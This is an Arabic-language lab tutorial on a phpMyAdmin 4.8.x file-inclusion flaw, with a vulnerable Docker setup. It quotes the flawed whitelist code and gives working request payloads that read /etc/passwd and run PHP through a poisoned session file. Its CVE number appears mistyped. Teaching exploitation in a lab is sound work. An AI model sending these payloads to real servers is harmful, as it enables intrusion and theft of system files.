
عرض استغلال تعليمي لـ CVE-2018-1263 (phpMyAdmin RCE/LFI). يتضمن إعداد بيئة ضعيفة عبر Docker وشرح خطوة بخطوة للهجوم لتعلم استغلال تطبيقات الويب.
سيساعدك هذا الدليل على تثبيت المكوّن الهش وتنفيذ الهجوم المتعلق بثغرة phpMyAdmin المذكورة في CVE-2018-1263.
يرتبط هذا الاستغلال بمشكلة تم اكتشافها في phpMyAdmin الإصدار 4.8.x قبل 4.8.2. من خلال استغلال المشكلة، يمكن للمهاجم تنفيذ تعليمات برمجية عن بُعد (remote code execution) وتضمين ملفات محلية (local file inclusion) على الخادم. تعود الثغرة إلى جزء من الكود مسؤول عن إعادة التوجيه وتحميل الصفحات داخل phpMyAdmin. يحتوي الكود على اختبار معيب للصفحات المدرجة في القائمة البيضاء مما يجعل الهجوم ممكنًا. يجب أن يكون المهاجم مصادقًا، باستثناء حالة $cfg['AllowArbitraryServer'] = true (حيث يمكن للمهاجم تحديد أي مضيف يتحكم به مسبقًا وتنفيذ كود تعسفي على phpMyAdmin) وحالة $cfg['ServerDefault'] = 0 (التي تتجاوز شرط تسجيل الدخول وتشغّل الكود الهش دون أي مصادقة).
تحدث الثغرة بسبب تجاوز للتحقق في دالة فحص المسار الهش. تتيح هذه الثغرة لمهاجم عن بُعد مصادق عليه تنفيذ كود PHP تعسفي على الخادم.
يوجد تضمين ملفات (file inclusion) في index.php الخاص بـ يمكن تشغيله من خلال توفير معامل باسم في عنوان URL، والجزء من الكود الذي يتحقق من معامل يبدو كما يلي:
targettarget$target_blacklist = array (
'import.php', 'export.php'
);
// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
}
// ...
في هذا الكود، بمجرد استيفاء شرط if، يتم تنفيذ include $_REQUEST['target'];. لذلك، نحتاج فقط إلى تجاوز شرط if لتنفيذ ما نريده.
لنلقِ نظرة على شرط if:
target لا يمكن أن يكون فارغًا ويجب أن يكون نصيًا.target بحيث لا يبدأ بـ index.target بحيث لا يكون ضمن $target_blacklist
$target_blacklist قبل شرط if مباشرةً ويتضمن import.php و export.php، أي أن أي شيء عدا هاتين الصفحتين مسموح به.Core::checkPageValidity($_REQUEST['target']).
checkPageValidity باقتطاع كل ما بعد ? من $page وتتحقق مما إذا كان في القائمة البيضاء. النص بعد ? ليس جزءًا من مسار URL. تظهر أيضًا قائمة بيضاء نموذجية في مقتطف الكود.public static function checkPageValidity(&$page, array $whitelist = [])
{
// ...
$_page = mb_substr($page, 0, mb_strpos($page . '?', '?'));
// example $whitelist == array('db_sql.php', 'sql.php', ...)
if (in_array($_page, $whitelist)) {
return true;
}
// ...
return false;
}
$page، لأنه يأتي مباشرة من $_REQUEST['target'].كما ذُكر سابقًا، يمتلك المهاجم تحكمًا كاملًا في $page داخل دالة checkPageValidity عبر معامل $_REQUEST['target'] في عنوان URL. لنتخيل أن المهاجم يرسل شيئًا مثل ما يلي باستخدام معامل $_REQUEST['target'] إلى $page:
$page = 'db_sql.php?/../../../../../../../../etc/passwd'
تقوم دالة checkPageValidity بعد ذلك بتنفيذ ما يلي:
? وتعيين الجزء الأول إلى $page. لذلك في هذه الحالة تكون قيمة $page = db_sql.php.$_page، أي db_sql.php، موجودًا في القائمة البيضاء أم لا؟ وبما أنه موجود في القائمة البيضاء، تُرجع الدالة True وتعود إلى index.php.بما أن شرط if في index.php أصبح True الآن، فإنه ينفذ السطر التالي كما هو موضح في مقتطف كود index.php أعلاه:
include $_REQUEST['target'];
ما يحدث بعد ذلك هو:
$_REQUEST['target']، مما يعني تنفيذ ما يلي:
GET /index.php?target=db_sql.php?/../../../../../../../../etc/passwd
db_sql.php موجودًا أم لا، فسيتم تنفيذ /../../../../../../../../etc/passwd ويُرسل محتوى ملف /etc/passwd في الاستجابة إلى المهاجم.يمكننا الآن استخدام هذا لتنفيذ تضمين ملفات محلية أو حتى تنفيذ كود عن بُعد للحصول على قشرة عكسية (reverse shell). عندما ننفذ استعلامًا في phpMyAdmin، فإنه ينشئ ملف جلسة ويخزنه في دليل /tmp مع محتوى الاستعلام. يُسمى ملف الجلسة sess_< SESSION ID >. يمكن العثور على معرف الجلسة بسهولة في ملف تعريف الارتباط (cookie) باستخدام خيار الفحص في المتصفح.
إذا قمنا بتنفيذ الاستعلام التالي في phpMyAdmin:
SELECT '<?php phpinfo();exit;?>'
سيتم تخزينه في ملف الجلسة. لنتخيل أن معرف الجلسة الخاص بنا في phpMyAdmin هو e15cffd3ab25a631136611fba9ca2042.
ثم إذا قمنا باستدعاء العنوان التالي في المتصفح:
http://your-ip:8080/index.php?target=db_sql.php?/../../../../../../../../tmp/sess_e15cffd3ab25a631136611fba9ca2042
عندها سيحاول phpMyAdmin تحميل صفحة الجلسة، وبما أن الصفحة تحتوي على كود PHP المقدَّم عبر الاستعلام، فسيتم تنفيذ كود PHP، وفي هذا المثال تحديدًا سنرى phpinfo في الصفحة التي يتم تحميلها بواسطة المتصفح. باستخدام هذه التقنية، يمكننا تنفيذ أي كود تعسفي على الخادم البعيد.
يتطلب البنية التحتية للاستغلال نسخة هشة من phpMyAdmin وmysql. سنستخدم حاويات docker لتثبيت المكوّنات المطلوبة. بالنسبة لنسخة phpMyAdmin الهشة، سنستخدم بيئة docker الجاهزة من Vulhub، وبالنسبة لـ mysql سنستخدم أحدث إصدار رسمي من dockerhub. يتم توفير سكربت التثبيت كسكربت docker compose yml يمكن العثور عليه في المستودع.
نفترض أن الجهاز المستهدف مثبّت عليه docker و docker-compose. إذا لم يكونا مثبّتين، فيرجى الرجوع إلى توثيق docker لتثبيتهما. بمجرد تثبيت docker، نفّذ الخطوات التالية لإعداد المكوّن الهش:
أولاً، استنسخ المستودع على جهازك المستهدف وانتقل إلى الدليل المستنسخ:
git clone [email protected]:msnkhan/exploit-demo.git
cd exploit-demo
ثم قم بتشغيل سكربت docker compose باستخدام الأمر التالي:
sudo docker-compose up -d
بمجرد انتهاء عملية التثبيت، سيعرض docker صفحة phpMyAdmin على المنفذ 8080 من جهازك. يمكنك التحقق من ذلك بفتح الصفحة في متصفحك باستخدام تنسيق العنوان التالي:
http://your-machine-ip:8080
إذا كانت عملية التثبيت ناجحة، يجب أن تشاهد صفحة مثل التالية:

الفيديو التالي هو برنامج تعليمي حول كيفية تنفيذ الهجوم